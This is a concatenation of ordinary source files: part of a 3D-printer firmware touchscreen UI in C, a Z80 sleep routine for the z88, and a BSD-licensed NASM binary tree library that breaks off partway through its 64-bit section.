switch (disp_state_stack._disp_state[disp_state_stack._disp_index]) {
case PRINT_READY_UI:
//Get_Temperature_Flg = 0;
lv_clear_ready_print();
break;
case PRINT_FILE_UI:
lv_clear_print_file();
break;
case PRINTING_UI:
lv_clear_printing();
break;
case MOVE_MOTOR_UI:
lv_clear_move_motor();
break;
case OPERATE_UI:
lv_clear_operation();
break;
case PAUSE_UI:
//Clear_pause();
break;
case EXTRUSION_UI:
lv_clear_extrusion();
break;
case PRE_HEAT_UI:
lv_clear_preHeat();
break;
case CHANGE_SPEED_UI:
lv_clear_change_speed();
break;
case FAN_UI:
lv_clear_fan();
break;
case SET_UI:
lv_clear_set();
break;
case ZERO_UI:
lv_clear_home();
break;
case SPRAYER_UI:
//Clear_Sprayer();
break;
case MACHINE_UI:
//Clear_Machine();
break;
case LANGUAGE_UI:
lv_clear_language();
break;
case ABOUT_UI:
lv_clear_about();
break;
case LOG_UI:
//Clear_Connect();
break;
case DISK_UI:
//Clear_Disk();
break;
case WIFI_UI:
//Clear_Wifi();
break;
case MORE_UI:
//Clear_more();
break;
case FILETRANSFER_UI:
//Clear_fileTransfer();
break;
case DIALOG_UI:
lv_clear_dialog();
break;
case FILETRANSFERSTATE_UI:
//Clear_WifiFileTransferdialog();
break;
case PRINT_MORE_UI:
//Clear_Printmore();
break;
case LEVELING_UI:
lv_clear_manualLevel();
break;
case BIND_UI:
//Clear_Bind();
break;
case ZOFFSET_UI:
//Clear_Zoffset();
break;
case TOOL_UI:
lv_clear_tool();
break;
case MESHLEVELING_UI:
//Clear_MeshLeveling();
break;
case HARDWARE_TEST_UI:
//Clear_Hardwaretest();
break;
case WIFI_LIST_UI:
//Clear_Wifi_list();
break;
case KEY_BOARD_UI:
//Clear_Keyboard();
break;
case TIPS_UI:
//Clear_Tips();
break;
case MACHINE_PARA_UI:
lv_clear_machine_para();
break;
case MACHINE_SETTINGS_UI:
lv_clear_machine_settings();
break;
case TEMPERATURE_SETTINGS_UI:
//Clear_TemperatureSettings();
break;
case MOTOR_SETTINGS_UI:
lv_clear_motor_settings();
break;
case MACHINETYPE_UI:
//Clear_MachineType();
break;
case STROKE_UI:
//Clear_Stroke();
break;
case HOME_DIR_UI:
//Clear_HomeDir();
break;
case ENDSTOP_TYPE_UI:
//Clear_EndstopType();
break;
case FILAMENT_SETTINGS_UI:
//Clear_FilamentSettings();
break;
case LEVELING_SETTIGNS_UI:
//Clear_LevelingSettings();
break;
case LEVELING_PARA_UI:
//Clear_LevelingPara();
break;
case DELTA_LEVELING_PARA_UI:
//Clear_DeltaLevelPara();
break;
case XYZ_LEVELING_PARA_UI:
//Clear_XYZLevelPara();
break;
case MAXFEEDRATE_UI:
lv_clear_max_feedrate_settings();
break;
case STEPS_UI:
lv_clear_step_settings();
break;
case ACCELERATION_UI:
lv_clear_acceleration_settings();
break;
case JERK_UI:
#if HAS_CLASSIC_JERK
lv_clear_jerk_settings();
#endif
break;
case MOTORDIR_UI:
//Clear_MotorDir();
break;
case HOMESPEED_UI:
//Clear_HomeSpeed();
break;
case NOZZLE_CONFIG_UI:
//Clear_NozzleConfig();
break;
case HOTBED_CONFIG_UI:
//Clear_HotbedConfig();
break;
case ADVANCED_UI:
lv_clear_advance_settings();
break;
case DOUBLE_Z_UI:
//Clear_DoubleZ();
break;
case ENABLE_INVERT_UI:
//Clear_EnableInvert();
break;
case NUMBER_KEY_UI:
lv_clear_number_key();
break;
case BABY_STEP_UI:
//Clear_babyStep();
break;
case PAUSE_POS_UI:
lv_clear_pause_position();
break;
#if HAS_TRINAMIC_CONFIG
case TMC_CURRENT_UI:
lv_clear_tmc_current_settings();
break;
#endif
case EEPROM_SETTINGS_UI:
lv_clear_eeprom_settings();
break;
#if HAS_STEALTHCHOP
case TMC_MODE_UI:
lv_clear_tmc_step_mode_settings();
break;
#endif
default:
break;
}
//GUI_Clear();
}
void draw_return_ui() {
if (disp_state_stack._disp_index > 0) {
disp_state_stack._disp_index--;
switch (disp_state_stack._disp_state[disp_state_stack._disp_index]) {
case PRINT_READY_UI:
lv_draw_ready_print();
break;
case PRINT_FILE_UI:
lv_draw_print_file();
break;
case PRINTING_UI:
if (gCfgItems.from_flash_pic == 1) flash_preview_begin = 1;
else default_preview_flg = 1;
lv_draw_printing();
break;
case MOVE_MOTOR_UI:
lv_draw_move_motor();
break;
case OPERATE_UI:
lv_draw_operation();
break;
#if 1
case PAUSE_UI:
//draw_pause();
break;
#endif
case EXTRUSION_UI:
lv_draw_extrusion();
break;
case PRE_HEAT_UI:
lv_draw_preHeat();
break;
case CHANGE_SPEED_UI:
lv_draw_change_speed();
break;
case FAN_UI:
lv_draw_fan();
break;
case SET_UI:
lv_draw_set();
break;
case ZERO_UI:
lv_draw_home();
break;
case SPRAYER_UI:
//draw_Sprayer();
break;
case MACHINE_UI:
//draw_Machine();
break;
case LANGUAGE_UI:
lv_draw_language();
break;
case ABOUT_UI:
lv_draw_about();
break;
#if tan_mask
case LOG_UI:
//draw_Connect();
break;
#endif
case CALIBRATE_UI:
//draw_calibrate();
break;
case DISK_UI:
//draw_Disk();
break;
case WIFI_UI:
//draw_Wifi();
break;
case MORE_UI:
//draw_More();
break;
case PRINT_MORE_UI:
//draw_printmore();
break;
case FILAMENTCHANGE_UI:
//draw_FilamentChange();
break;
case LEVELING_UI:
lv_draw_manualLevel();
break;
case BIND_UI:
//draw_bind();
break;
#if tan_mask
case ZOFFSET_UI:
//draw_Zoffset();
break;
#endif
case TOOL_UI:
lv_draw_tool();
break;
case MESHLEVELING_UI:
//draw_meshleveling();
break;
case HARDWARE_TEST_UI:
//draw_Hardwaretest();
break;
case WIFI_LIST_UI:
//draw_Wifi_list();
break;
case KEY_BOARD_UI:
//draw_Keyboard();
break;
case TIPS_UI:
//draw_Tips();
break;
case MACHINE_PARA_UI:
lv_draw_machine_para();
break;
case MACHINE_SETTINGS_UI:
lv_draw_machine_settings();
break;
case TEMPERATURE_SETTINGS_UI:
//draw_TemperatureSettings();
break;
case MOTOR_SETTINGS_UI:
lv_draw_motor_settings();
break;
case MACHINETYPE_UI:
//draw_MachineType();
break;
case STROKE_UI:
//draw_Stroke();
break;
case HOME_DIR_UI:
//draw_HomeDir();
break;
case ENDSTOP_TYPE_UI:
//draw_EndstopType();
break;
case FILAMENT_SETTINGS_UI:
//draw_FilamentSettings();
break;
case LEVELING_SETTIGNS_UI:
//draw_LevelingSettings();
break;
case LEVELING_PARA_UI:
//draw_LevelingPara();
break;
case DELTA_LEVELING_PARA_UI:
//draw_DeltaLevelPara();
break;
case XYZ_LEVELING_PARA_UI:
//draw_XYZLevelPara();
break;
case MAXFEEDRATE_UI:
lv_draw_max_feedrate_settings();
break;
case STEPS_UI:
lv_draw_step_settings();
break;
case ACCELERATION_UI:
lv_draw_acceleration_settings();
break;
case JERK_UI:
#if HAS_CLASSIC_JERK
lv_draw_jerk_settings();
#endif
break;
case MOTORDIR_UI:
//draw_MotorDir();
break;
case HOMESPEED_UI:
//draw_HomeSpeed();
break;
case NOZZLE_CONFIG_UI:
//draw_NozzleConfig();
break;
case HOTBED_CONFIG_UI:
//draw_HotbedConfig();
break;
case ADVANCED_UI:
lv_draw_advance_settings();
break;
case DOUBLE_Z_UI:
//draw_DoubleZ();
break;
case ENABLE_INVERT_UI:
//draw_EnableInvert();
break;
case NUMBER_KEY_UI:
lv_draw_number_key();
break;
case DIALOG_UI:
//draw_dialog(DialogType);
break;
case BABY_STEP_UI:
//draw_babyStep();
break;
case PAUSE_POS_UI:
lv_draw_pause_position();
break;
#if HAS_TRINAMIC_CONFIG
case TMC_CURRENT_UI:
lv_draw_tmc_current_settings();
break;
#endif
case EEPROM_SETTINGS_UI:
lv_draw_eeprom_settings();
break;
#if HAS_STEALTHCHOP
case TMC_MODE_UI:
lv_draw_tmc_step_mode_settings();
break;
#endif
default: break;
}
}
}
#if ENABLED(SDSUPPORT)
void sd_detection() {
static bool last_sd_status;
const bool sd_status = IS_SD_INSERTED();
if (sd_status != last_sd_status) {
last_sd_status = sd_status;
if (sd_status) card.mount(); else card.release();
}
}
#endif
void lv_ex_line(lv_obj_t * line, lv_point_t *points) {
/*Copy the previous line and apply the new style*/
lv_line_set_points(line, points, 2); /*Set the points*/
lv_line_set_style(line, LV_LINE_STYLE_MAIN, &style_line);
lv_obj_align(line, NULL, LV_ALIGN_IN_TOP_MID, 0, 0);
}
extern volatile uint32_t systick_uptime_millis;
void print_time_count() {
if ((systick_uptime_millis % 1000) == 0)
if (print_time.start == 1) print_time.seconds++;
}
void LV_TASK_HANDLER() {
//lv_tick_inc(1);
lv_task_handler();
if (mks_test_flag == 0x1e) mks_hardware_test();
#if HAS_GCODE_PREVIEW
disp_pre_gcode(2, 36);
#endif
GUI_RefreshPage();
//sd_detection();
}
#endif // HAS_TFT_LVGL_UI
|
;
; Small C z88 Misc functions
;
; sleep(time)
;
; Pause for time centiseconds
;
; djm 1/12/98
;
; If we can't have usleep we'll have csleep instead!
;
; -----
; $Id: csleep.asm,v 1.9 2016-07-02 15:44:16 dom Exp $
MODULE csleep_z88
SECTION code_clib
INCLUDE "time.def"
PUBLIC csleep
PUBLIC _csleep
PUBLIC ASMDISP_CSLEEP
;csleep(int time);
.csleep
._csleep
pop hl
pop bc ;number of centi-seconds..
push bc
push hl
.asmentry
ld a,b
or c
jr z,csleep1
call_oz(os_dly) ;preserves ix
ld hl,1
ret c
.csleep1
ld hl,0
ret
DEFC ASMDISP_CSLEEP = # asmentry - csleep
|
;
; bintree.asm : Binary Tree implementation
; Author : Rob Neff
;
; Copyright (C)2010 Piranha Designs, LLC - All rights reserved.
; Source code licensed under the new/simplified BSD OSI license.
;
; Redistribution and use in source and binary forms, with or without
; modification, are permitted provided that the following
; conditions are met:
;
; * Redistributions of source code must retain the above copyright
; notice, this list of conditions and the following disclaimer.
; * Redistributions in binary form must reproduce the above
; copyright notice, this list of conditions and the following
; disclaimer in the documentation and/or other materials provided
; with the distribution.
;
; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND
; CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES,
; INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
; MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
; DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
; CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
; SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
; NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
; HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
; CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
; OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
; EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
;
; Implementation Notes:
;
; This file contains assembly source code that implements
; a binary tree. It is capable of being assembled for both
; 32-bit and 64-bit Intel CPUs and is compatible with
; Unix/Linux and Windows.
; The 32-bit code uses the C language calling convention while the
; 64-bit code makes use of the fastcall calling convention of
; the target operating system.
;
; This implementation does not support duplicate node keys.
; If inserting a node into a tree that already contains an
; identical key the existing key and associated data value is
; replaced with the new node and then freed.
;
; Do not use the free() routine on any node pointers returned by
; any functions; Instead, use binarytree_delete_node() to delete
; a single node containing the key, or binarytree_delete_tree()
; to delete the entire tree.
;
; To assemble this code using Nasm use one of the following commands.
;
; For 32-bit Unix/Linux:
; nasm -f elf32 bintree.asm -o bintree.o
;
; For 64-bit Unix/Linux:
; nasm -f elf64 bintree.asm -o bintree.o
;
; To assemble this code using Nasm for use with Windows:
;
; For 32-bit Windows:
; nasm -f win32 bintree.asm -o bintree.obj
;
; For 64-bit Windows:
; nasm -f win64 bintree.asm -o bintree.obj
%include 'bintree.inc'
[section .text]
%ifidni __BITS__,32
;
; 32-bit C calling convention
;
extern malloc
extern memcmp
extern memcpy
extern free
global binarytree_alloc_node
global binarytree_find_node
global binarytree_insert_node
global binarytree_delete_node
global binarytree_delete_tree
;
; Paramaters and Stack Local Variables (SLV)
;
%define param4 [ebp+20]
%define param3 [ebp+16]
%define param2 [ebp+12]
%define param1 [ebp+8]
%define slv_proot [ebp-4]
%define slv_pnode [ebp-8]
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; struct _bst_node_t * binarytree_alloc_node(byte *key, unsigned klen, byte *value, unsigned vlen)
;
; Purpose
; To allocate memory for a binary tree node structure and initialize with key/value pair
;
; Params
; key = ptr to key
; klen = length of key
; value = ptr to data, if any
; vlen = length of data
;
; Returns
; eax
; = struct _bst_node_t *
; = null ptr if key ptr == null, key len < 1, or insufficient memory
;
; Notes
; Params value and vlen may be null or zero
;
binarytree_alloc_node:
push ebp ; set up stack frame
mov ebp, esp
push esi ; save registers used
push edi
push ebx
xor edi, edi ; edi = null ptr
mov esi, dword param1 ; esi = ptr to key
cmp esi, 0
je BST_A_N_X ; if key == 0 jmp to exit
mov ebx, dword param2 ; ebx = key length
cmp ebx, 0
je BST_A_N_X ; if len == 0 jmp to exit
mov ecx, dword param4 ; ecx = value length
mov eax, _bst_node_t_size ; eax = sizeof(_bst_node_t)
add eax, ebx ; + key length
add eax, ecx ; + value length
push eax
call malloc
add esp, 4
cmp eax, 0
je BST_A_N_X ; if eax == 0 jmp to exit
mov edi, eax ; edi = ptr to node
;
; ensure all ptrs are properly initialized
;
mov dword[eax + _bst_node_t.parent], 0
mov dword[eax + _bst_node_t.left], 0
mov dword[eax + _bst_node_t.right], 0
mov dword[eax + _bst_node_t.value], 0
mov dword[eax + _bst_node_t.vlen], 0
;
;copy user key data to node key buffer
;
add eax, _bst_node_t_size ; eax = ptr to node key buffer
mov dword[edi+_bst_node_t.key], eax
mov dword[edi+_bst_node_t.klen], ebx
push ebx ; push params
push esi
push eax
call memcpy
add esp, 12
;
;copy user value, if any, to node value buffer
;
mov esi, dword param3 ; esi = ptr to user value buffer
cmp esi, 0
je BST_A_N_X ; if value == null jmp to exit
mov ecx, dword param4 ; ecx = vlen
cmp ecx, 0
je BST_A_N_X ; if vlen == 0 jmp to exit
mov eax, edi ; eax = ptr to node
add eax, _bst_node_t_size ; eax = ptr to node key buffer
add eax, ebx ; eax = ptr to node value buffer
mov dword[edi+_bst_node_t.value],eax
mov dword[edi+_bst_node_t.vlen], ecx
push ecx ; push params
push esi
push eax
call memcpy
add esp, 12
BST_A_N_X:
mov eax, edi ; eax = struct _bst_node_t*
pop ebx ; restore registers used
pop edi
pop esi
pop ebp
ret ; eax = struct _bst_node_t *
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; struct _bst_node_t * binarytree_find_node(struct _bst_node_t **root, void *key, unsigned int klen)
;
; Purpose
; To find a node within the binary tree containing key
;
; Params
; root = address of ptr to root of binary tree to search
; key = ptr to key
; klen = length of key
;
; Returns
; eax
; = ptr to found node
; = null ptr if root == null, key == null, len == 0, or key not found
;
; Notes
;
binarytree_find_node:
push ebp ; set up stack frame
mov ebp, esp
push esi ; save registers used
push edi ;
push ebx ;
xor eax, eax ; eax = null ptr
mov edi, dword param1 ; edi = pptr to root
cmp edi, 0
je BST_F_N_X ; if pptr == null jmp to exit
mov edi, [edi] ; edi = ptr to root
cmp edi, 0
je BST_F_N_X ; if root ptr == null jmp to exit
mov esi, dword param2 ; esi = key
cmp esi, 0
je BST_F_N_X ; if key == 0 jmp to exit
mov ebx, dword param3 ; ebx = length
cmp ebx, 0
je BST_F_N_X ; if klen == 0 jmp to exit
; get shortest key length
mov eax, dword[edi + _bst_node_t.klen]
cmp eax, ebx
jle BST_F_N_1
mov eax, ebx ; eax = shortest key length
BST_F_N_1:
; compare user key to this nodes key
push eax
mov eax, dword[edi + _bst_node_t.key]
push eax
push esi
call memcmp
add esp, 12
cmp eax, 0
je BST_F_N_5
jg BST_F_N_4
BST_F_N_2:
; assert: user key less than node key
add edi, _bst_node_t.left ; esi = address of node.left
mov eax, dword[edi]
cmp eax, 0
je BST_F_N_X ; if left ptr == null jmp to exit
BST_F_N_3:
push ebx
push esi
push edi
call binarytree_find_node
add esp, 12
jmp BST_F_N_X
BST_F_N_4:
; assert: user key greater than node key
add edi, _bst_node_t.right ; esi = address of node.right
mov eax, dword[edi]
cmp eax, 0
je BST_F_N_X ; if right ptr == null jmp to exit
jmp BST_F_N_3
BST_F_N_5:
; assert: since keys are equal check lengths
mov eax, dword[edi + _bst_node_t.klen]
cmp ebx, eax
jl BST_F_N_2
jg BST_F_N_4
; assert: keys are identical
mov eax, edi
BST_F_N_X:
pop ebx ; restore registers used
pop edi
pop esi
pop ebp
ret ; eax = struct _bst_node_t *
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; int binarytree_insert_node(struct _bst_node_t **root, struct _bst_node_t *node)
;
; Purpose
; To insert a node into the binary tree
;
; Params
; root = address of ptr to binary tree root node
; node = ptr to node to insert into binary tree
;
; Returns
; eax
; = 0 if successful
; = 1 if parameter error
;
; Notes
; Any node contained within the binary tree (including the root node)
; that compares to the node param key is replaced with the new node
; and the old node is deleted. Duplicate nodes are not supported.
;
binarytree_insert_node:
push ebp ; set up stack frame
mov ebp, esp
push esi ; save registers used
push edi ;
; validate parameters to ensure tree integrity
mov edi, dword param1 ; edi = pptr to node
cmp edi, 0
je BST_I_N_RET_1 ; if pptr == 0 return param error
mov esi, dword param2 ; esi = ptr to new node
cmp esi, 0
je BST_I_N_RET_1 ; if pnode == 0 return param error
mov eax, dword[edi] ; eax = ptr to current node
cmp eax, 0
jne BST_I_N_1 ; if ptr != 0 find insertion point
; assert: null root, make node new root
mov dword[edi], esi
jmp BST_I_N_X ; eax = 0 ( success )
BST_I_N_1:
mov edi, eax ; edi = ptr to current node
; get shortest key length
mov eax, dword[edi + _bst_node_t.klen]
mov ecx, dword[esi + _bst_node_t.klen]
cmp eax, ecx
jle BST_I_N_2
mov eax, ecx ; eax = shortest key length
BST_I_N_2:
; compare user key to this nodes key
push eax
mov eax, dword[edi + _bst_node_t.key]
push eax
mov eax, dword[esi + _bst_node_t.key]
push eax
call memcmp
add esp, 12
cmp eax, 0
je BST_I_N_8
jg BST_I_N_5
BST_I_N_3:
; assert: user key less than node key
mov eax, dword[edi + _bst_node_t.left]
cmp eax, 0
je BST_I_N_6
add edi, _bst_node_t.left ; edi = address of node.left
BST_I_N_4:
push esi
push edi
call binarytree_insert_node
add esp, 8
jmp BST_I_N_X
BST_I_N_5:
; assert: user key greater than node key
mov eax, dword[edi + _bst_node_t.right]
cmp eax, 0
je BST_I_N_7
add edi, _bst_node_t.right ; edi = address of node.right
jmp BST_I_N_4
BST_I_N_6:
; insert into left child ptr
mov dword[edi + _bst_node_t.left], esi
; update user node parent
mov dword[esi + _bst_node_t.parent], edi
jmp BST_I_N_RET_0
BST_I_N_7:
; insert into right child ptr
mov dword[edi + _bst_node_t.right], esi
; update user node parent
mov dword[esi + _bst_node_t.parent], edi
jmp BST_I_N_RET_0
BST_I_N_8:
; assert: since keys are equal check lengths
mov eax, dword[edi + _bst_node_t.klen]
mov ecx, dword[esi + _bst_node_t.klen]
cmp ecx, eax
jl BST_I_N_3
jg BST_I_N_5
BST_I_N_9A:
; assert: keys are identical, swap node ptrs
mov eax, dword[edi + _bst_node_t.parent]
mov dword[esi + _bst_node_t.parent], eax
mov eax, dword[edi + _bst_node_t.left]
mov dword[esi + _bst_node_t.left], eax
cmp eax, 0
je BST_I_N_9B
mov dword[eax + _bst_node_t.parent], esi
BST_I_N_9B:
mov eax, dword[edi + _bst_node_t.right]
mov dword[esi + _bst_node_t.right], eax
cmp eax, 0
je BST_I_N_10
mov dword[eax + _bst_node_t.parent], esi
BST_I_N_10:
mov eax, dword param1 ; eax = address of node ptr
mov dword[eax], esi ; store new node ptr
BST_I_N_11:
; safe to free old node in edi
push edi
call free
pop eax
jmp BST_I_N_RET_0
BST_I_N_RET_1:
mov eax, 1 ; eax = param error
jmp BST_I_N_X
BST_I_N_RET_0:
xor eax, eax ; eax = 0 ( success )
BST_I_N_X:
pop edi
pop esi
pop ebp
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; int binarytree_delete_node(struct _bst_node_t **root, void *key, unsigned int klen)
;
; Purpose
; To delete a node from the binary tree
;
; Params
; root = address of ptr to binary tree root node
; key = ptr to key to find and delete
; klen = length of key
;
; Returns
; eax
; = 0 if successful
; = 1 if parameter error
; = 2 if key not found
;
; Notes
; If the only node in the tree is the root node and it compares
; to the key param it is deleted and will be set to null
;
binarytree_delete_node:
push ebp ; set up stack frame
mov ebp, esp
push esi ; save registers used
push edi ;
push ebx ;
; validate parameters to ensure tree integrity
mov edi, dword param1 ; edi = pptr to node
cmp edi, 0
je BST_D_N_RET_1 ; if pptr == null return param error
mov esi, dword param2 ; esi = key
cmp esi, 0
je BST_D_N_RET_1 ; if key == null return param error
mov edx, dword param3 ; edx = key length
cmp edx, 0
je BST_D_N_RET_1 ; if len == 0 return param error
mov edi, dword [edi] ; get node ptr
cmp edi, 0
je BST_D_N_RET_1 ; if edi == 0 return param error
mov ebx, edi ; save ptr to current node
; get shortest key length
mov eax, dword[edi + _bst_node_t.klen]
cmp edx, eax
jle BST_D_N_1
mov edx, eax ; edx = shortest key length
BST_D_N_1:
; compare user key to this nodes key
push edx
mov eax, dword[edi + _bst_node_t.key]
push eax
push esi
call memcmp
pop esi ; reload registers
pop edi
mov edi, ebx
pop edx
cmp eax, 0
je BST_D_N_5
jg BST_D_N_4
BST_D_N_2:
; assert: user key less than node key
add edi, _bst_node_t.left ; edi = ptr to node.left
mov eax, dword[edi]
cmp eax, 0
je BST_D_N_RET_2 ; if left ptr == null return not found
BST_D_N_3:
push edx
push esi
push edi
call binarytree_delete_node
add esp, 12
jmp BST_D_N_X ; eax = error code
BST_D_N_4:
; assert: user key greater than node key
add edi, _bst_node_t.right ; edi = ptr to node.right
mov eax, dword[edi]
cmp eax, 0
je BST_D_N_RET_2 ; if right ptr == null return not found
jmp BST_D_N_3
BST_D_N_5:
; assert: keys are equal, check lengths
mov eax, dword[edi + _bst_node_t.klen]
cmp edx, eax
jl BST_D_N_2
jg BST_D_N_4
; assert: keys are identical. find replacement node, if any
mov ecx, dword[edi + _bst_node_t.right]
cmp ecx, 0
je BST_D_N_9 ; if right ptr == null try left
; special case: check child node for valid left ptr
mov eax, dword[ecx + _bst_node_t.left]
cmp eax, 0
jne BST_D_N_7B
; assert: ecx = replacement node
; set node to delete right ptr to replacement node right ptr
mov eax, dword[ecx + _bst_node_t.right]
mov dword[edi + _bst_node_t.right], eax
jmp BST_D_N_14A
BST_D_N_7A:
; find left-most node
mov eax, dword[ecx + _bst_node_t.left]
cmp eax, 0
je BST_D_N_8
BST_D_N_7B:
mov ecx, eax
jmp BST_D_N_7A
BST_D_N_8:
; assert: ecx = replacement node
; set left ptr of parent node to replacement nodes right ptr
mov eax, dword[ecx + _bst_node_t.parent]
mov edx, dword[ecx + _bst_node_t.right]
mov dword[eax + _bst_node_t.left], edx
; set child node new parent
cmp edx, 0
je BST_D_N_14A
mov dword[edx + _bst_node_t.parent], eax
jmp BST_D_N_14A
BST_D_N_9:
; replace with right-most child of left branch
mov ecx, dword[edi + _bst_node_t.left]
cmp ecx, 0
jne BST_D_N_10
; assert: both child ptrs are null, update parent.
; This also handles special case of deleting last
; node from tree ( root )
jmp BST_D_N_15
BST_D_N_10:
; special case: check child node for valid right ptr
mov eax, dword[ecx + _bst_node_t.right]
cmp eax, 0
jne BST_D_N_12B
; assert: ecx = replacement node
; set node to delete left ptr to replacement node left ptr
mov eax, dword[ecx + _bst_node_t.left]
mov dword[edi + _bst_node_t.left], eax
jmp BST_D_N_14A
BST_D_N_12A:
; find right-most node
mov eax, dword[ecx + _bst_node_t.right]
cmp eax, 0
je BST_D_N_13
BST_D_N_12B:
mov ecx, eax
jmp BST_D_N_12A
BST_D_N_13:
; assert: ecx = replacement node
; set right child of parent to replacement nodes left child
mov eax, dword[ecx + _bst_node_t.parent]
mov edx, dword[ecx + _bst_node_t.left]
mov dword[eax + _bst_node_t.right], edx
; set child node new parent
cmp edx, 0
je BST_D_N_14A
mov dword[edx], eax
BST_D_N_14A:
; copy node ptrs from edi to rcx
mov eax, dword[edi + _bst_node_t.parent]
mov dword[ecx + _bst_node_t.parent], eax
mov eax, dword[edi + _bst_node_t.left]
mov dword[ecx + _bst_node_t.left], eax
cmp eax, 0
je BST_D_N_14B
mov dword[eax + _bst_node_t.parent], ecx
BST_D_N_14B:
mov eax, dword[edi + _bst_node_t.right]
mov dword[ecx + _bst_node_t.right], eax
cmp eax, 0
je BST_D_N_15
mov dword[eax + _bst_node_t.parent], ecx
BST_D_N_15:
mov eax, dword param1 ; eax = pptr to new node
mov dword[eax], ecx
BST_D_N_16:
push edi
call free
add esp, 4
jmp BST_D_N_RET_0
BST_D_N_RET_2:
mov eax, 2 ; eax = 2 ( not found )
jmp BST_D_N_X
BST_D_N_RET_1:
mov eax, 1 ; eax = 1 ( param error )
jmp BST_D_N_X
BST_D_N_RET_0:
xor eax, eax ; eax = 0 ( no error )
BST_D_N_X:
pop ebx
pop edi
pop esi
pop ebp
ret ; eax = error code
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; int binarytree_delete_tree(struct _bst_node_t **root)
;
; Purpose
; To delete all nodes from the binary tree
;
; Params
; root = address of ptr to binary tree root
;
; Returns
; eax
; = 0 if successful
; = 1 if parameter error
;
; Notes
; After all the nodes have been deleted from the
; tree the root node ptr is deleted and set to null
;
binarytree_delete_tree:
push ebp
mov ebp, esp
push edi ; save registers used
mov edi, dword param1 ; edi = pptr to root
cmp edi, 0
je BST_D_T_RET_1 ; if pptr == null jmp to exit
mov edi, dword[edi] ; edi = ptr to root
cmp edi, 0
je BST_D_T_RET_1 ; if ptr == null jmp to exit
add edi, 4 ; edi = ptr to _bst_node_t.left
mov eax, dword[edi] ; eax = node.left
cmp eax, 0
je BST_D_T_1
push edi
call binarytree_delete_tree
pop edi
BST_D_T_1:
add edi, 4 ; edi = ptr to _bst_node_t.right
mov eax, dword[edi] ; eax = node.right
cmp eax, 0
je BST_D_T_2
push edi
call binarytree_delete_tree
pop eax
BST_D_T_2:
mov edi, dword param1 ; edi = pptr to root
mov eax, [edi] ; eax = root ptr
push eax
call free
pop eax
mov dword[edi], 0 ; pptr = null
jmp BST_D_T_RET_0
BST_D_T_RET_1:
mov eax, 1
jmp BST_D_T_X
BST_D_T_RET_0:
xor eax, eax
BST_D_T_X:
pop edi ; restore register
pop ebp
ret
%elifidni __BITS__,64
;
; use 64-bit fastcall calling convention
;
%ifidni __OUTPUT_FORMAT__,elf64
;
; use 64-bit Linux fastcall convention
; ints/longs/ptrs: RDI, RSI, RDX, RCX, R8, R9
; floats/doubles: XMM0 to XMM7
%define slv_pptr [rbp-8]
%define slv_proot [rbp-16]
%define slv_pnode [rbp-24]
%define slv_key [rbp-32]
%define slv_klen [rbp-40]
%define slv_value [rbp-48]
%define slv_vlen [rbp-56]
extern malloc
extern memcmp
extern memcpy
extern free
global binarytree_alloc_node
global binarytree_find_node
global binarytree_insert_node
global binarytree_delete_node
global binarytree_delete_tree
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; struct _bst_node_t * binarytree_alloc_node(byte *key, unsigned klen, byte *value, unsigned vlen)
;
; Purpose
; To allocate memory for a binary tree node structure and initialize with key/value pair
;
; Params
; key = ptr to key
; klen = length of key
; value = ptr to data, if any
; vlen = length of data
;
; Returns
; eax
; = struct _bst_node_t *
; = null ptr if key ptr == null, key len < 1, or insufficient memory
;
; Notes
; Params value and vlen may be null/zero if using the binary tree for keys only
;
binarytree_alloc_node:
push rbp ; create stack frame
mov rbp, rsp
sub rsp, 64 ; create SLV
xor rax, rax ; rax = null ptr
; rdi = key, rsi = klen, rdx = value, rcx = vlen
cmp rdi, 0
je BST_A_N_X ; if key == 0 jmp to exit
cmp rsi, 0
je BST_A_N_X ; if klen == 0 jmp to exit
mov qword slv_key, rdi ; save register values
mov qword slv_klen, rsi ;
mov qword slv_value, rdx ;
mov qword slv_vlen, rcx ;
mov rdi, _bst_node_t_size ; rdi = sizeof(_bst_node_t)
add rdi, rsi ; + key length
add rdi, rcx ; + value length
call malloc
cmp rax, 0
je BST_A_N_X
mov qword slv_pnode, rax ; save node ptr
;
; ensure all ptrs initialized
;
mov qword[rax + _bst_node_t.parent], 0
mov qword[rax + _bst_node_t.left], 0
mov qword[rax + _bst_node_t.right], 0
mov qword[rax + _bst_node_t.value], 0
mov dword[rax + _bst_node_t.vlen], 0
;
; copy user key data to node key buffer
;
mov r10, rax ; r10 = ptr to node
add rax, _bst_node_t_size ; rax = ptr to node key buffer
mov qword[r10+_bst_node_t.key],rax
mov rdi, rax ; rdi = ptr to node key buffer
mov rsi, qword slv_key ; rsi = ptr to user key buffer
